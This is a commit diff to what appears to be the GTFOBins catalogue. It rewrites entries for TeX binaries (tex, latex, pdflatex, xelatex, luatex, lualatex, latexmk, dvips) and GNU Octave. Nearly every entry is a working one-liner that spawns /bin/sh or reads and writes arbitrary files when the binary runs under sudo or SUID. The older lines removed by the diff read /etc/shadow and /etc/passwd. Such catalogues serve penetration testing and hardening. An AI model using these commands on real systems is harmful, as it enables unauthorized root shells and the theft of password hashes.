Fix and improve TeX binaries and GNU Octave

This commit is contained in:
Andrea Cardaci 2021-04-26 16:06:18 +02:00
parent 806c8054eb
commit 21b641911e
11 changed files with 126 additions and 55 deletions

View File

@ -1,8 +1,16 @@
---
description: The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target.
functions: functions:
shell:
- code: |
tex '\special{psfile="`/bin/sh 1>&0"}\end'
dvips -R0 texput.dvi
sudo: sudo:
- code: | - code: |
echo "\documentclass[12pt]{article} \begin{document}" > file.tex tex '\special{psfile="`/bin/sh 1>&0"}\end'
echo '$$\hbox to5cm{\vbox to5cm{\vfil\special{psfile="`PROGRAM > /tmp/result"}}\hfill}$$' >> file.tex sudo dvips -R0 texput.dvi
echo "\end{document}" >> file.tex limited-suid:
tex -interaction=nonstopmode file.tex && sudo dvips -R0 file.dvi - code: |
cat /tmp/result tex '\special{psfile="`/bin/sh 1>&0"}\end'
./dvips -R0 texput.dvi
---

View File

@ -1,11 +1,21 @@
description: `latex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/). ---
functions: functions:
shell:
- code: |
latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
file-read: file-read:
- code: | - description: The read file will be part of the output.
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex code: |
latex read.tex latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
strings read.dvi strings article.dvi
sudo: sudo:
- description: The read file will be part of the output.
code: |
sudo latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
strings article.dvi
- code: | - code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex sudo latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
sudo latex -shell-escape file.tex limited-suid:
- code: |
./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
---

View File

@ -1,11 +1,14 @@
description: `latexmk` is a perl script. description: This allows to execute [`perl`](/gtfobins/perl/) code.
functions: functions:
shell:
- code: latexmk -e 'exec "/bin/sh";'
- code: latexmk -latex='/bin/sh #' /dev/null
file-read: file-read:
- code: | - code: latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex - description: The read file will be part of the output.
latexmk read.tex code: |
strings read.dvi TF=$(mktemp)
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
strings tmp.dvi
sudo: sudo:
- code: | - code: sudo latexmk -e 'exec "/bin/sh";'
echo "PROGRAM > /tmp/result.txt" > /tmp/run.sh
sudo latexmk -latex="/tmp/run.sh" file.tex

View File

@ -1,6 +1,10 @@
description: `lualatex` is a symbolic link to [`luatex`](/gtfobins/luatex/). However the program does not have the same behaviour regarding the name of argv[0]. It allows to call external command with \write18 but it also allows to call external [`lua`](/gtfobins/lua/) scripts. ---
description: This allows to execute [`lua`](/gtfobins/lua/) code.
functions: functions:
shell:
- code: lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
sudo: sudo:
- code: | - code: sudo lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
echo "\documentclass[12pt]{article} \usepackage{shellesc} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex limited-suid:
sudo lualatex -shell-escape file.tex - code: ./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
---

View File

@ -1,7 +1,10 @@
description: `luatex` allows to call external [`lua`](/gtfobins/lua/) scripts. ---
description: This allows to execute [`lua`](/gtfobins/lua/) code.
functions: functions:
shell:
- code: luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
sudo: sudo:
- code: | - code: sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex limited-suid:
echo 'os.execute("/usr/bin/id")' > runfunc.lua - code: ./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
luatex --interaction=nonstopmode --shell-escape file.tex ---

View File

@ -1,10 +1,14 @@
---
description: The payloads are compatible with GUI. description: The payloads are compatible with GUI.
functions: functions:
shell: shell:
- code: octave-cli --eval "system('/bin/sh')" - code: octave-cli --eval 'system("/bin/sh")'
file-write: file-write:
- code: poctave-cli --eval 'filename = "file_to_write"; fid = fopen (filename, "w"); fputs (fid, "DATA"); fclose (fid);' - code: octave-cli --eval 'filename = "file_to_write"; fid = fopen(filename, "w"); fputs(fid, "DATA"); fclose(fid);'
file-read: file-read:
- code: octave-cli --eval 'fid = fopen ("/etc/passwd"); while(!feof(fid)); txt = fgetl(fid), txt; endwhile; fclose (fid);' - code: octave-cli --eval 'format none; fid = fopen("file_to_read"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
sudo: sudo:
- code: sudo octave-cli --eval "system('/bin/sh')" - code: sudo octave-cli --eval 'system("/bin/sh")'
limited-suid:
- code: ./octave-cli --eval 'system("/bin/sh")'
---

View File

@ -1,11 +1,21 @@
description: `pdflatex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/). ---
functions: functions:
shell:
- code: |
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
file-read: file-read:
- code: | - description: The read file will be part of the output.
echo "\documentclass[12pt]{article} \usepackage{verbatim} \hfuzz=25.002pt \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex code: |
latex read.tex pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
#/etc/shadow is in read.pdf pdftotext article.pdf -
sudo: sudo:
- description: The read file will be part of the output.
code: |
sudo pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
pdftotext article.pdf -
- code: | - code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex sudo pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
sudo pdflatex -shell-escape file.tex limited-suid:
- code: |
./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
---

View File

@ -1,6 +1,12 @@
description: `pdftex` has a similar behaviour as [`tex`](/gtfobins/tex/) ---
functions: functions:
shell:
- code: |
pdftex --shell-escape '\write18{/bin/sh}\end'
sudo: sudo:
- code: | - code: |
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex sudo pdftex --shell-escape '\write18{/bin/sh}\end'
pdftex -interaction=nonstopmode --shell-escape file.tex limited-suid:
- code: |
./pdftex --shell-escape '\write18{/bin/sh}\end'
---

View File

@ -1,6 +1,12 @@
description: `tex` has a similar behaviour as [`pdftex`](/gtfobins/pdftex/) ---
functions: functions:
shell:
- code: |
tex --shell-escape '\write18{/bin/sh}\end'
sudo: sudo:
- code: | - code: |
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex sudo tex --shell-escape '\write18{/bin/sh}\end'
tex -interaction=nonstopmode --shell-escape file.tex limited-suid:
- code: |
./tex --shell-escape '\write18{/bin/sh}\end'
---

View File

@ -1,11 +1,21 @@
description: `xelatex` is a symbolic link to [`xetex`](/gtfobins/xetex/). However the program does not have the same behaviour regarding the name of argv[0]. ---
functions: functions:
shell:
- code: |
xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
file-read: file-read:
- code: | - description: The read file will be part of the output.
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex code: |
latexmk read.tex xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
#/etc/shadow is in read.pdf strings article.dvi
sudo: sudo:
- description: The read file will be part of the output.
code: |
sudo xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
strings article.dvi
- code: | - code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex sudo xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
sudo xelatex -shell-escape file.tex limited-suid:
- code: |
./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
---

View File

@ -1,5 +1,12 @@
---
functions: functions:
shell:
- code: |
xetex --shell-escape '\write18{/bin/sh}\end'
sudo: sudo:
- code: | - code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex sudo xetex --shell-escape '\write18{/bin/sh}\end'
sudo xetex -interaction=nonstopmode -shell-escape file.tex limited-suid:
- code: |
./xetex --shell-escape '\write18{/bin/sh}\end'
---